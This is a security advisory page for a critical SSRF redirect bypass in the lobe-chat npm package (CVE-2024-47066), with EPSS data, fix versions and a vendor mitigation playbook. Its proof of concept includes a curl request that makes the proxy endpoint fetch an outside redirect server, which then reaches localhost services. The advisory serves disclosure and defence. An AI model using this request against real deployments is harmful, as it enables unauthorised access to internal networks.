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📦 npm

GHSA-3fc8-2r3f-8wrg

CRITICAL

lobe-chat implemented an insufficient fix for GHSA-mxhq-xw3g-rphc (CVE-2024-32964)

Also known asCVE-2024-47066
Published
Sep 23, 2024
Updated
Feb 4, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
3 known

EPSS Exploitation Probability

via FIRST.org ↗
10.8%probability of exploitation in next 30 days
Moderate Risk95th percentile+5.01%
4.01%6.79%9.57%12.4%5.6%10.8%Dec 25Apr 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected

Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.

@lobehub/chatnpm
13Kdownloads / week

Description

Summary

SSRF protection implemented in https://github.com/lobehub/lobe-chat/blob/main/src/app/api/proxy/route.ts does not consider redirect and could be bypassed when attacker provides external malicious url which redirects to internal resources like private network or loopback address.

PoC

  1. Run lobe-chat in docker container. In my setup lobe-chat runs on 0.0.0.0:3210;

  2. Create file dummy-server.js with the following content:

var http = require('http');
console.log("running server");
http.createServer(function (req, res) {
  console.log(req.url);
  res.writeHead(200, {'Content-Type': 'text/html'});
  res.end();
}).listen(3001, 'localhost');

And run

node dummy-server.js

as an example server inside of container [1] (or in containers private network).

  1. Run in terminal to perform request to lobe-chat instance from [1]
curl --path-as-is -i -s -k -X $'POST' \
    -H $'Host: 0.0.0.0:3210' -H $'Accept-Encoding: gzip, deflate, br' -H $'Referer: http://0.0.0.0:3210/settings/agent?agent=&session=inbox&tab=' -H $'Content-Type: text/plain;charset=UTF-8' -H $'Content-Length: 74' -H $'Origin: http://0.0.0.0:3210' -H $'Connection: keep-alive' -H $'Priority: u=0' \
    -b $'LOBE_LOCALE=en-EN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined' \
    --data-binary $'http://130.193.49.129:8090/redirect?url=http://localhost:3001/iamssrf_1337' \
    $'http://0.0.0.0:3210/api/proxy'

where body contains url of server which redirects to internal network (in my case it redirects according url parameter).

  1. Observe in output of [2]
running server
/iamssrf_1337
  1. Attacker is able to perform SSRF attacks against lobe-chat despite https://github.com/lobehub/lobe-chat/blob/main/src/app/api/proxy/route.ts#L26 check.

Fix recommendations:

  1. Disable redirects - lobe-chat should consider explicitly disable redirects.
  2. If redirects support is required, perform check before each http request.

Impact

https://portswigger.net/web-security/ssrf

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npm@lobehub/chatall versions1.19.13
Exploits & PoCs
3

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @lobehub/chat. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update @lobehub/chat to 1.19.13 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-3fc8-2r3f-8wrg is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-3fc8-2r3f-8wrg is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-3fc8-2r3f-8wrg. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary SSRF protection implemented in https://github.com/lobehub/lobe-chat/blob/main/src/app/api/proxy/route.ts does not consider redirect and could be bypassed when attacker provides external malicious url which redirects to internal resources like private network or loopback address. ### PoC 1. Run lobe-chat in docker container. In my setup lobe-chat runs on 0.0.0.0:3210; 2. Create file dummy-server.js with the following content: ``` var http = require('http'); console.log("running server"); http.createServer(function (req, res) { console.log(req.url); res.writeHead(200, {'Content
O3 Security · Impact-Aware SCA

Is GHSA-3fc8-2r3f-8wrg in your dependencies?

O3 detects GHSA-3fc8-2r3f-8wrg across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.